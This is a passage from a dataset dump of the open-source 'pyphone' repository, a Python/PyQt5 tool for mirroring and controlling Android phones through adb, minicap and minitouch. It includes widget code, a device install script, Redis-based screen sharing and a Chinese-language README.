value\n\n\ndef gen_sign_string(parser):\n uri_str = ''\n for key in sorted(parser.keys()):\n if key == 'app_key':\n continue\n uri_str += \"%s=%s&\" % (key, urllib.parse.quote(str(parser[key]), safe=''))\n sign_str = uri_str + 'app_key=' + parser['app_key']\n hash_md5 = hashlib.md5(sign_str.encode(\"utf-8\"))\n return hash_md5.hexdigest().upper()\n\n\nclass AiPlat(object):\n def __init__(self, app_id, app_key):\n self.app_id = app_id\n self.app_key = app_key\n self.data = {}\n\n @staticmethod\n def invoke(data):\n res = requests.post(\"https://api.ai.qq.com/fcgi-bin/ocr/ocr_generalocr\", data)\n return res\n \n def general_ocr(self, image):\n set_params(self.data, 'app_id', self.app_id)\n set_params(self.data, 'app_key', self.app_key)\n set_params(self.data, 'time_stamp', int(time.time()))\n set_params(self.data, 'nonce_str', int(time.time()))\n image_data = base64.b64encode(image).decode(\"utf-8\")\n set_params(self.data, 'image', image_data)\n set_params(self.data, 'sign', gen_sign_string(self.data))\n res = self.invoke(self.data)\n self.data = {}\n return res\n" }, { "alpha_fraction": 0.5717566013336182, "alphanum_fraction": 0.5935705900192261, "avg_line_length": 18.795454025268555, "blob_id": "1595a21df46169d6a6fa3bf49d4d7bb296a4de2a", "content_id": "efb29a1bdc057187b59647541725a0cc1bc093c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 871, "license_type": "no_license", "max_line_length": 55, "num_lines": 44, "path": "/tools/socktest.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport socket\nimport struct\nimport os\nimport sys\n\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\ns.connect_ex((\"localhost\", 8081))\n\n\ndef receive(sock, size):\n count = 0\n buffs = []\n while count < size:\n buff = sock.recv(min(8192, size))\n count += len(buff)\n buffs.append(buff)\n\n return b\"\".join(buffs)\n\n\nreceive(s, 24)\n\n\ntmpdir = \"./tmp\"\nif not os.path.exists(tmpdir):\n try:\n os.makedirs(tmpdir)\n except OSError:\n print(\"fail to create tmpdir\")\n sys.exit(1)\n\nseq = 1\nwhile 1:\n n_buff = receive(s, 4)\n n = struct.unpack(\"I\", n_buff)[0]\n frame_buff = receive(s, n)\n filename = os.path.join(tmpdir, \"%d.jpg\" % seq)\n seq += 1\n with open(filename, \"wb\") as fp:\n fp.write(frame_buff)\n print(\"GOT\", n)\n" }, { "alpha_fraction": 0.6888889074325562, "alphanum_fraction": 0.699999988079071, "avg_line_length": 24.571428298950195, "blob_id": "130280f7e4779d879a8a400e4d3dbb69229f87d4", "content_id": "6a5ccfad268f6f28bd4e59ce44d22f582a867b16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 180, "license_type": "no_license", "max_line_length": 64, "num_lines": 7, "path": "/lang.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nimport locale\nimport gettext\n\nos.environ[\"LANG\"] = locale.getdefaultlocale()[0]\n_ = gettext.translation(\"lang\", \"locale\", fallback=True).gettext\n\n" }, { "alpha_fraction": 0.6286919713020325, "alphanum_fraction": 0.6371307969093323, "avg_line_length": 22.700000762939453, "blob_id": "0ad39f5b166e3bde452e9c9887ab27af8cf09400", "content_id": "9310257c7726da87d08b154f2a1f668fd209508b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 237, "license_type": "no_license", "max_line_length": 42, "num_lines": 10, "path": "/main.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom widgets.main_window import MainWindow\nfrom PyQt5 import QtWidgets\nimport sys\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n w = MainWindow()\n w.show()\n sys.exit(app.exec_())\n" }, { "alpha_fraction": 0.5876855254173279, "alphanum_fraction": 0.6173721551895142, "avg_line_length": 33.980770111083984, "blob_id": "f256a88c5c7d35765090b28149c230c98936f015", "content_id": "52ce2a7681af1591bc5df22fc5e5655a38ab8d17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1819, "license_type": "no_license", "max_line_length": 109, "num_lines": 52, "path": "/widgets/toast.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom PyQt5 import QtCore\nfrom PyQt5 import QtWidgets\n\n\nclass Toast(QtWidgets.QDialog):\n\n FIXED_WIDTH = 300\n FIXED_HEIGHT = 40\n TIME_LONG = 5000\n TIME_SHOT = 3000\n\n def __init__(self, text, t, parent=None):\n super(Toast, self).__init__(parent)\n self.parent = parent\n self.setModal(False)\n self.setWindowFlags(QtCore.Qt.Dialog | QtCore.Qt.FramelessWindowHint)\n # self.setStyleSheet(\"background-color: rgb(164, 202, 57);\")\n self.setStyleSheet(\"background-color: rgb(65, 65, 65);\")\n # self.setStyleSheet(\"background-color: rgb(19, 34, 122);\")\n self.setFixedHeight(self.FIXED_HEIGHT)\n if text is None:\n text = \"\"\n self.setFixedWidth(len(text) * 7)\n self.move(self.parent.x() + (self.parent.width() - self.width()) / 2,\n self.parent.y() + self.parent.height() / 3)\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.on_timeout)\n if t <= 0:\n t = self.TIME_SHOT\n self.timer.start(t)\n\n size_policy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n self.setSizePolicy(size_policy)\n\n self.gridLayout = QtWidgets.QGridLayout(self)\n self.label = QtWidgets.QLabel(self)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setStyleSheet(\"color: rgb(255, 255, 255);\")\n self.gridLayout.addWidget(self.label, 0, 0, 1, 1)\n\n self.label.setText(text)\n\n def on_timeout(self):\n self.close()\n\n @classmethod\n def show_(cls, parent, text, t=TIME_SHOT):\n if not isinstance(parent, QtWidgets.QMainWindow) or not isinstance(parent, QtWidgets.QWidget):\n return\n obj = cls(text, t, parent)\n obj.show()\n" }, { "alpha_fraction": 0.5776707530021667, "alphanum_fraction": 0.5867882370948792, "avg_line_length": 33.39645004272461, "blob_id": "5c3859119bf624cc038d34cec5fa115100d5a803", "content_id": "71c4e06266e210cce2593066764941c92180a583", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6083, "license_type": "no_license", "max_line_length": 107, "num_lines": 169, "path": "/widgets/screen.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom os import getenv\nfrom PyQt5.QtWidgets import QFrame\nfrom PyQt5.QtGui import QPainter, QPixmap, QCursor\nfrom logger import logger\n\n\nclass Screen(QFrame):\n\n DEFAULT_HEIGHT = 720\n MIN_HEIGHT = 720\n MAX_HEIGHT = 2340\n try:\n SCREEN_HEIGHT = int(getenv(\"PYPHONE_HEIGHT\", DEFAULT_HEIGHT))\n if SCREEN_HEIGHT < MIN_HEIGHT:\n SCREEN_HEIGHT = MIN_HEIGHT\n elif SCREEN_HEIGHT > MAX_HEIGHT:\n SCREEN_HEIGHT = MAX_HEIGHT\n except ValueError:\n SCREEN_HEIGHT = DEFAULT_HEIGHT\n SWIPE_ACC = 1\n HORIZONTAL = 0\n VERTICAL = 1\n\n def __init__(self, parent=None):\n QFrame.__init__(self, parent)\n # 注意:此处的parent是centralwidget,而非MainWindow\n self.parent = parent\n self.frame = None\n self.default_pixmap = QPixmap(\":/app/icons/app/android.png\")\n self.pixmap = QPixmap()\n # 使用自定义的鼠标样式\n self.CLICK_CURSOR = QCursor(QPixmap(\":/app/icons/app/click.png\"), -1, -1)\n self.FORBIDDEN_CURSOR = QCursor(QPixmap(\":/app/icons/app/forbidden.png\"), -1, -1)\n self.setCursor(self.FORBIDDEN_CURSOR)\n self.touch = None\n self.press_x = -1\n self.press_y = -1\n self.orientation = self.VERTICAL\n self.angle = 0\n self.screen_width = 0\n self.screen_height = 0\n self.real_height = 0\n self.real_width = 0\n self.disconnect_callback = None\n\n def set_disconnect_callback(self, callback):\n self.disconnect_callback = callback\n\n def bind_touch(self, touch):\n self.setCursor(self.CLICK_CURSOR)\n self.touch = touch\n\n def paintEvent(self, event):\n painter = QPainter(self)\n if not self.frame:\n painter.drawPixmap(0, 0, self.default_pixmap)\n return\n self.pixmap.loadFromData(self.frame)\n if self.orientation == self.VERTICAL:\n scaled_pixmap = self.pixmap.scaledToHeight(self.SCREEN_HEIGHT)\n else:\n scaled_pixmap = self.pixmap.scaledToWidth(self.SCREEN_HEIGHT)\n painter.drawPixmap(0, 0, scaled_pixmap)\n\n def refresh(self, frame):\n # code for debug\n # with open(\"112.jpg\", \"wb\") as fp:\n # fp.write(frame)\n self.frame = frame\n if not self.frame:\n self.touch = None\n self.setCursor(self.FORBIDDEN_CURSOR)\n self.update()\n\n def rotate_xy(self, x, y):\n _x, _y = x, y\n if self.angle == 270:\n _x, _y = y, self.screen_width - x\n elif self.angle == 90:\n _x, _y = self.screen_height - y, x\n elif self.angle == 180:\n _x, _y = x, self.screen_height - y\n return _x, _y\n\n def on_disconnected(self):\n if callable(self.disconnect_callback):\n self.disconnect_callback()\n\n def mousePressEvent(self, event):\n if self.touch is None:\n return\n self.press_x, self.press_y = self.rotate_xy(event.x(), event.y())\n if not self.touch.press(self.press_x, self.press_y):\n self.on_disconnected()\n\n def mouseReleaseEvent(self, event):\n if self.touch is None:\n return\n if not self.touch.release():\n self.on_disconnected()\n\n def mouseMoveEvent(self, event):\n if self.touch is None:\n return\n cur_x, cur_y = self.rotate_xy(event.x(), event.y())\n if abs(cur_x - self.press_x) > self.SWIPE_ACC or abs(cur_y - self.press_y) > self.SWIPE_ACC:\n if not self.touch.swiping(cur_x, cur_y):\n self.on_disconnected()\n self.press_x = cur_x\n self.press_y = cur_y\n\n def set_real_size(self, real_width, real_height):\n self.real_width = real_width\n self.real_height = real_height\n self.fit_size()\n\n def fit_size(self, real_width=None, real_height=None):\n \"\"\"设备窗口尺寸\n 注意:minicap 头部的宽高信息并不会因为屏幕方向的旋转而变化,它是绝对的物理尺寸,垂直握持手机,横向为宽,竖向为高\n \"\"\"\n if real_width and real_height:\n self.set_real_size(real_width, real_height)\n else:\n if real_height is None:\n real_height = self.real_height\n if real_width is None:\n real_width = self.real_width\n rate = 1.0 * Screen.SCREEN_HEIGHT / real_height\n if self.orientation == self.VERTICAL:\n self.screen_width, self.screen_height = int(rate * real_width), Screen.SCREEN_HEIGHT\n else:\n self.screen_width, self.screen_height = Screen.SCREEN_HEIGHT, int(rate * real_width)\n logger.debug(\"fit size to width={width}, height={height} (real_height={h}, real_width={w})\".format(\n width=self.screen_width, height=self.screen_height,\n h=real_height, w=real_width))\n self.setFixedSize(self.screen_width, self.screen_height)\n self.parent.setFixedSize(self.screen_width, self.screen_height)\n if self.touch:\n self.touch.set_rate(rate)\n self.touch.set_max_xy(self.screen_width, self.screen_height)\n else:\n logger.warning(\"touch is None, touch op is not available!\")\n\n def horizontal(self):\n \"\"\"调整为横屏模式\"\"\"\n self.orientation = self.HORIZONTAL\n\n def vertical(self):\n \"\"\"调整为竖屏模式\"\"\"\n self.orientation = self.VERTICAL\n\n def set_orientation(self, angle):\n self.angle = angle\n if angle in (0, 180):\n self.vertical()\n elif angle in (90, 270):\n self.horizontal()\n\n def get_orientation(self):\n return self.orientation\n\n def get_screen_height(self):\n # 默认压缩minicap输出的图片尺寸,以提升传输效率\n # 环境变量PYDROID_VIRTUAL_AS_SCREEN置为false时,按照实际尺寸输出,此时可高清录屏\n if getenv(\"PYDROID_VIRTUAL_AS_SCREEN\", \"true\") == \"true\":\n return self.SCREEN_HEIGHT\n else:\n return None\n" }, { "alpha_fraction": 0.6547619104385376, "alphanum_fraction": 0.6607142686843872, "avg_line_length": 20, "blob_id": "0dcfe8521c9e4bbded8b24993e07a7b0830566e3", "content_id": "6e55f38650b6603ea8e8943f81d26d81cfcc09d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 168, "license_type": "no_license", "max_line_length": 41, "num_lines": 8, "path": "/util.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom multiprocessing import Process\n\n\ndef start_in_progress(target, args):\n p = Process(target=target, args=args)\n p.start()\n return p\n" }, { "alpha_fraction": 0.5613305568695068, "alphanum_fraction": 0.5758835673332214, "avg_line_length": 17.5, "blob_id": "786fa241e28495c0bf003b63b89508200806d5f8", "content_id": "95c34ecdeac3f4434fdb04ddff4f120acb0977d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 481, "license_type": "no_license", "max_line_length": 45, "num_lines": 26, "path": "/key_event.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport adb_helper\n\n\nclass KeyEvent:\n CMD = \"input keyevent %d\"\n HOME = 3\n BACK = 4\n MENU = 82\n POWER = 26\n\n @classmethod\n def home(cls):\n adb_helper.shell(cls.CMD % cls.HOME)\n\n @classmethod\n def back(cls):\n adb_helper.shell(cls.CMD % cls.BACK)\n\n @classmethod\n def menu(cls):\n adb_helper.shell(cls.CMD % cls.MENU)\n\n @classmethod\n def lock_unlock(cls):\n adb_helper.shell(cls.CMD % cls.POWER)\n" }, { "alpha_fraction": 0.6557142734527588, "alphanum_fraction": 0.7014285922050476, "avg_line_length": 19.58823585510254, "blob_id": "3957cbfcd608a51f1c1405b4884882602f21e5af", "content_id": "5d2f7830a67e8b2254c23d4713cee89c0a715f9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 744, "license_type": "no_license", "max_line_length": 52, "num_lines": 34, "path": "/config.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "DEBUG = False\nMINICAP_HOST = \"localhost\"\nMINICAP_PORT = 8081\nMINITOUCH_PORT = MINICAP_PORT + 1\nVIDEO_DIR = \"./video\"\n# 最大录屏时长(单位min)\nMAX_RECORD_MIN = 10\n\n# 用于共享屏幕的Redis服务器地址\nREDIS_HOST = \"localhost\"\nREDIS_PORT = 6379\nREDIS_DB = 3\n\nADB_HOST = \"localhost\"\nADB_PORT = 5037\n\nTITLE_ERROR = \"ERROR\"\nTITLE_INFO = \"TIP\"\nTITLE_WARNING = \"WARNING\"\n\nDEFAULT_WIDTH = 720\nIMAGE_QUALITIES = [320, 480, 720, 1080]\n\nANDROID_TMP_PATH = \"/data/local/tmp\"\nMINICAP = \"minicap\"\nMINICAP_PATH = \"%s/minicap\" % ANDROID_TMP_PATH\nMINICAP_SO_PATH = \"%s/minicap.so\" % ANDROID_TMP_PATH\nMINITOUCH = \"minitouch\"\nMINITOUCH_PATH = \"%s/minitouch\" % ANDROID_TMP_PATH\n\ntry:\n from local_settings import *\nexcept ImportError:\n pass\n" }, { "alpha_fraction": 0.5602094531059265, "alphanum_fraction": 0.6178010702133179, "avg_line_length": 20.22222137451172, "blob_id": "975af7cc67c111b60170446f19a63a10115c3ca0", "content_id": "652974eb7d1cb281786e987416c9ce39b2e6f3d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 191, "license_type": "no_license", "max_line_length": 34, "num_lines": 9, "path": "/version.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nversion_code = 107\nversion_str = \"1.4.0\"\napp_name = \"pyphone\"\nyear = \"2020\"\nabout = \"\"\"%s\nVersion: %s\nCreated by ehcapa @ ShenZhen China\n\"\"\" % (app_name, version_str)\n" }, { "alpha_fraction": 0.5878552794456482, "alphanum_fraction": 0.6007751822471619, "avg_line_length": 25.689655303955078, "blob_id": "2075c0c2a3ac0e4a2a935395dbd07ab51d412b7d", "content_id": "c199437123d67f31f4a1e005801ffa758e7159b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 774, "license_type": "no_license", "max_line_length": 90, "num_lines": 29, "path": "/remote_screen.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport cv2\nimport redis\nimport config\nimport numpy as np\n\n\ndef start(val, queue, host=config.REDIS_HOST, port=config.REDIS_PORT, db=config.REDIS_DB):\n print(\"Connecting share server %s:%d/%d ...\" % (host, port, db))\n r = redis.Redis(host, port, db=db)\n try:\n r.ping()\n except redis.exceptions.ConnectionError:\n print(\"Unable to connect redis server!\")\n return False\n\n print(\"Connected, waiting frame ...\")\n while 1:\n if val.value == 1:\n break\n data = r.rpop(queue)\n if data:\n img = cv2.imdecode(np.fromstring(data, np.uint8), cv2.IMREAD_COLOR)\n cv2.imshow(\"Remote screen\", img)\n\n cv2.waitKey(1)\n\n print(\"Disconnect remote screen\")\n return True\n" }, { "alpha_fraction": 0.6338028311729431, "alphanum_fraction": 0.6478873491287231, "avg_line_length": 22.66666603088379, "blob_id": "af7d5b404dcc11b1ffa7bbb11755c1c614d7466e", "content_id": "e6bf1608499e9ce2fc8cd56821e8a5bbe52fd999", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 71, "license_type": "no_license", "max_line_length": 24, "num_lines": 3, "path": "/share.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ncurrent_device = None\ncurrent_serial_no = None\n" }, { "alpha_fraction": 0.5565808415412903, "alphanum_fraction": 0.5750364065170288, "avg_line_length": 37.849056243896484, "blob_id": "07526cb50e853f64b26789140db201a0d8975c16", "content_id": "43770858819b3e2b832ef7e19cd5df17cfd5555b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2183, "license_type": "no_license", "max_line_length": 112, "num_lines": 53, "path": "/recorder.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport cv2\nimport numpy as np\nfrom logger import logger\n\n\nclass __Recorder:\n\n def __init__(self):\n self.writer = None\n self.mp4file = None\n self.width = 0\n self.height = 0\n\n def init(self, mp4file, fps, width, height):\n logger.debug(\"init record fps=%d, width=%d, height=%d\" % (fps, width, height))\n self.mp4file = mp4file\n self.width, self.height = width, height\n self.writer = cv2.VideoWriter(mp4file, cv2.VideoWriter_fourcc(*\"MP4V\"), fps, (width, height))\n\n def write_frames(self, frames):\n if not self.writer:\n return\n\n for frame in frames:\n array = np.fromstring(frame, np.uint8)\n image = cv2.imdecode(array, cv2.IMREAD_COLOR)\n height, width, channels = image.shape\n # VideoWriter 要求图片的尺寸必须与创建writer对象时传入的参数一致\n # 因此当屏幕旋转时,需要先创建一张与原尺寸一致的底图,再讲图片进行尺寸变换后贴上去\n if width > self.width:\n full_size_image = np.zeros((self.height, self.width, 3), np.uint8)\n rate = 1.0 * self.width / width\n scale_image = cv2.resize(image, (self.width, int(height * rate)), cv2.INTER_CUBIC)\n y_offset = int((self.height - scale_image.shape[0]) / 2)\n full_size_image[y_offset:y_offset + scale_image.shape[0], 0: scale_image.shape[1]] = scale_image\n image = full_size_image\n elif height > self.height:\n full_size_image = np.zeros((self.height, self.width, 3), np.uint8)\n rate = 1.0 * self.height / height\n scale_image = cv2.resize(image, (int(rate * width), self.height), cv2.INTER_CUBIC)\n x_offset = int((self.width - scale_image.shape[1]) / 2)\n full_size_image[0:scale_image.shape[0], x_offset:x_offset + scale_image.shape[1]] = scale_image\n image = full_size_image\n\n self.writer.write(image)\n\n def finish(self):\n self.writer.release()\n return self.mp4file\n\n\nrecorder = __Recorder()\n" }, { "alpha_fraction": 0.8125, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 8.600000381469727, "blob_id": "a32eacd86c3b80f29342d2a52e1160c5bc1b4319", "content_id": "618e939e46391ddb83715ad91518485407fdd5b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 48, "license_type": "no_license", "max_line_length": 15, "num_lines": 5, "path": "/requirements.txt", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "pyqt5\nopencv-python\nnumpy\nredis\npure-python-adb\n" }, { "alpha_fraction": 0.6900891661643982, "alphanum_fraction": 0.7142108082771301, "avg_line_length": 27.044116973876953, "blob_id": "72b737e9365e6b50d5441ec0d6c00badacf5e7c6", "content_id": "a327bfc9114711c4d43f15222fdaad69c364e026", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2877, "license_type": "no_license", "max_line_length": 148, "num_lines": 68, "path": "/README.md", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# pyphone \n### 简介 \npyphone是Python+PyQt5实现的跨平台Android手机投屏与操控工具,投屏使用[minicap](https://github.com/openstf/minicap),操控使用[minitouch](https://github.com/openstf/minitouch) \n\n![](/snapshots/demo1.png) \n![](/snapshots/demo2.png) \n\n### 初始化 \n确认已安装了Python3.6或更高版本。 \n安装依赖库(推荐使用pipenv管理虚拟环境): \n```bash\npip install -r requirements.txt\n```\n\n将手机连接到电脑,并确认调试模式已打开。 \n```bash\ncd tools\npython install.py\n```\ninstall.py脚本尝试自动安装对应手机版本的minicap/minicap.so/minitouch \npyphone默认使用**8081**与**8082**端口与手机通信,请确保这两个端口未被其它进程占用。 \n若要支持中文输入,请参考下文的**如何输入中文** \n\n### 环境变量 \n\tPYDROID_VIRTUAL_AS_SCREEN \n取值true/false \n当设置为true(默认值)时,压缩minicap输出图片尺寸为pyphone窗口控件的实际尺寸,此时图片较小,传输更快。 \n当设置为false时,不压缩minicap输出图片尺寸,此时图片较大(为手机实际分辨率尺寸),可用于高清录屏。 \n\n\tPYDROID_HEIGHT \n取值为大于0且小于手机实际高度的整数,默认为720。\n\n### 启动 \n```bash\npython main.py\n```\n\n### 共享屏幕 \n**请先确认你有一个可用的Redis服务器** \n共享开启后(File->Enable Share),pyphone将屏幕数据发送到Redis服务器队列。其它用户可通过pyphone的Connect remote screen菜单连接到该队列,实现屏幕共享。 \n默认的Redis服务器地址在config.py中的REDIS_HOST变量中定义(默认localhost:6379),用户可以修改此地址指向自己的主机。开启共享后,pyphone还允许用户往操控队列中发送控制指令,目前支持的指令和格式如下: \n1. 单击:{\"cmd\": \"click\", \"x\": 1, \"y\": 2}\n2. 滑动:{\"cmd\": \"swipe\", \"direction\": \"up|down|left|right\", \"border\": \"yes|no\"}\n3. 输入文本:{\"cmd\": \"text\", \"text\": \"HelloWorld123!!\"} \n4. 截屏:{\"cmd\": \"screenshots\", \"filepath\": \"/tmp/test.jpg\"}\n4. Shell命令:{\"cmd\": \"shell\", \"param\": \"getprop ro.build.version.sdk | tr -d '\\r'\"} \n示例: \n```python\nimport redis\nimport json\n\nr = redis.Redis(\"localhost\", 6379, db=3)\nr.ping()\n\nop_str = json.dumps({\"cmd\": \"click\", \"x\": 123, \"y\": 456})\nshare_id = 1701\nr.lpush(\"pp-touch:%d\" % share_id, op_str)\n\n```\n\n### 如何输入中文 \n默认的adb shell input text无法输入中文,可使用开源工具[ADBKeyBoard](https://github.com/senzhk/ADBKeyBoard)解决。安装与使用示例: \n```bash\ncd tools\nadb install ADBKeyboard.apk # 注意有些安卓手机要求在手机上确认安装过程\nadb shell ime set com.android.adbkeyboard/.AdbIME # 切换到ADBKeyboard输入法\nadb shell am broadcast -a ADB_INPUT_TEXT --es msg '中文输入'\n```\n" }, { "alpha_fraction": 0.5751928091049194, "alphanum_fraction": 0.5899742841720581, "avg_line_length": 28.358489990234375, "blob_id": "7de3e86bbc68daf8ab794ec0d4b81df1ee82dfc8", "content_id": "398969098daff7c02cfbb88656c6959536703c3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1556, "license_type": "no_license", "max_line_length": 100, "num_lines": 53, "path": "/rotation_watcher.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport time\nimport multiprocessing\nfrom PyQt5.QtCore import QObject, QTimer\nfrom logger import logger\nimport adb_helper\nimport util\n\n\ndef watch_rotation(q1, q2, device):\n while True:\n if not q2.empty():\n cmd = q2.get()\n if cmd == \"stop\":\n break\n r = adb_helper.rotation(device)\n q1.put(r)\n time.sleep(0.1)\n\n\nclass RotationWatcher(QObject):\n ROTATION_TO_ANGLE = [0, 90]\n\n def __init__(self, on_rotation_changed, queue, device):\n QObject.__init__(self)\n self.rotation = -1\n self.q1 = queue\n self.q2 = multiprocessing.Queue()\n self.device = device\n self.watch_process = None\n self.on_rotation_changed = on_rotation_changed\n self.timer = QTimer()\n self.timer.timeout.connect(self.on_timeout)\n\n def start(self, interval=100):\n logger.debug(\"RotationWatcher start\")\n self.watch_process = util.start_in_progress(watch_rotation, (self.q1, self.q2, self.device))\n self.timer.start(interval)\n\n def stop(self):\n logger.debug(\"========= stop RotationWatcher =========\")\n self.timer.stop()\n self.q2.put(\"stop\")\n\n def on_timeout(self):\n if self.q1.empty():\n return\n rotation = self.q1.get()\n if rotation != self.rotation:\n logger.debug(\"Rotation changed\")\n if callable(self.on_rotation_changed):\n self.on_rotation_changed(self.ROTATION_TO_ANGLE[rotation])\n self.rotation = rotation\n" }, { "alpha_fraction": 0.582602858543396, "alphanum_fraction": 0.5927174687385559, "avg_line_length": 31.2391300201416, "blob_id": "5d162fa779ad5e51c9dffefe166616a53ecb3fd3", "content_id": "7d6e1855d38709baadfa78752c44af91f64efee3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2967, "license_type": "no_license", "max_line_length": 120, "num_lines": 92, "path": "/tools/install.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n pyphone's install script\n ~~~~~~~~~~~~~~~~~~~~~~~~~\n This py script is used for install minicap/minicap.so and minitouch to your device\n \n :copyright: © 1998-2018 Tecent.\n :author: ehcapa\n :date: 2020/4/27\n\"\"\"\n\nimport os\nimport sys\nfrom ppadb.client import Client as AdbClient\n\nminicap = \"minicap\"\nminicap_so = \"minicap.so\"\nminitouch = \"minitouch\"\npermission = \"rwxr-xr-x\"\nminicap_path = \"../deps/minicap\"\nminicap_flag_file = os.path.join(minicap_path, \".init\")\nminitouch_path = \"../deps/minitouch\"\nminitouch_flag_file = os.path.join(minitouch_path, \".init\")\ndest_path = \"/data/local/tmp\"\nadb_host = \"localhost\"\nadb_port = 5037\n\nclient = AdbClient(host=adb_host, port=adb_port)\ntry:\n devices = client.devices()\nexcept RuntimeError:\n print(\"Adb server not started\")\n sys.exit(-1)\nelse:\n if not devices:\n print(\"No any device\\bPlease connect your phone and turn on the USB debug mode!\")\n sys.exit(-1)\n\n\ndef main():\n count = len(devices)\n if count > 1:\n print(\"select device\\n----------------\")\n for i, device in enumerate(devices):\n print(\"%d\\t%s\" % (i, device.get_serial_no()))\n while 1:\n index = input(\">\")\n if index.isdigit() and -1 < int(index) < count:\n break\n device = devices[int(index)]\n elif count == 1:\n device = devices[0]\n else:\n assert False, \"never reach here!\"\n\n print(\"current device is %s\" % device.get_serial_no())\n abi = device.shell(\"getprop ro.product.cpu.abi | tr -d '\\r'\").strip()\n print(\"abi:\", abi)\n sdk = device.shell(\"getprop ro.build.version.sdk | tr -d '\\r'\").strip()\n print(\"sdk:\", sdk)\n minicap_file = \"{minicap_path}/libs/{abi}/{minicap}\".format(minicap_path=minicap_path, abi=abi, minicap=minicap)\n minicap_so_file = \"{minicap_path}/jni/minicap-shared/aosp/libs/android-{sdk}/{abi}/{file}\".format(\n minicap_path=minicap_path, sdk=sdk, abi=abi, file=minicap_so)\n minitouch_file = \"{minitouch_path}/libs/{abi}/{file}\".format(minitouch_path=minitouch_path, abi=abi, file=minitouch)\n print(\"push these files to device:\")\n print(minicap_file)\n print(minicap_so_file)\n print(minitouch_file)\n success = True\n for file in [minicap_file, minicap_so_file, minitouch_file]:\n if not os.path.exists(file):\n print(\"local file %s not exists\" % file)\n success = False\n break\n try:\n filename = os.path.basename(file)\n dest_file = \"%s/%s\" % (dest_path, filename)\n device.push(file, dest_file)\n device.shell(\"chmod 777 %s\" % dest_file)\n print(\"ok - push %s\" % filename)\n except RuntimeError:\n print(\"error - push %s\" % file)\n success = False\n break\n if success:\n print(\"install success\")\n else:\n print(\"install failed\")\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5745000243186951, "alphanum_fraction": 0.5789999961853027, "avg_line_length": 32.149169921875, "blob_id": "3f5bf389656fb900f592e38dbf0cafe85e49d93a", "content_id": "5617c679d94f1ea7db6b5cf4c3e28c28ceb4e43b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6192, "license_type": "no_license", "max_line_length": 108, "num_lines": 181, "path": "/ipc.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport redis\nimport json\nimport threading\nfrom random import randint\nfrom PyQt5.QtCore import pyqtSignal, QObject\nfrom logger import logger\n\n\nclass IpcSignal(QObject):\n\n SIG_FRAME = 0\n SIG_TOUCH = 1\n\n rpc_event = pyqtSignal(int, object)\n\n def __init__(self):\n QObject.__init__(self)\n\n\nclass Ipc(threading.Thread):\n\n MIN_SHARE_ID = 1000\n MAX_SHARE_ID = 9999\n QUEUE_SIZE_LIMIT = 5\n KEY_LIMIT = 100\n # 作为共享提供者,往Redis队列push屏幕数据,并接收Redis操控队列的数据(默认)\n MODE_PRODUCER = 0\n # 作为共享使用者,从Redis队列读取屏幕数据,并往Redis操控队列发送数据\n 